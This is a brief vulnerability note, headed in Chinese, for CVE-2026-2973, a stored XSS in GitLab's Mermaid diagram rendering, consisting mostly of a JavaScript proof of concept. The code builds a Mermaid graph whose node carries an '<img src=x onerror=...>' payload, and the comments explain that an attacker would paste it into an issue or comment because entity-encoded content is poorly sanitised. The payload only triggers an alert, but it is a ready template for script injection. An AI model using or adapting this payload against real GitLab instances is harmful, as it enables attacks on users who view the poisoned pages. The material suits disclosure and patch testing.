CVE-2026-2973 GitLab Mermaid图存储型XSS漏洞

// Conceptual PoC for CVE-2026-2973: Mermaid Diagram XSS // Attacker injects payload via Mermaid syntax in an Issue/Comment const payload = `graph TD; A[Start] --> B{<img src=x onerror=alert('CVE-2026-2973')>}; B --> C[End]; `; // In a real scenario, the attacker would input this into the Mermaid diagram block. // The vulnerability stems from improper sanitization of entity-encoded content, // allowing the browser to parse the HTML/JS within the diagram node. console.log("Payload injected: " + payload);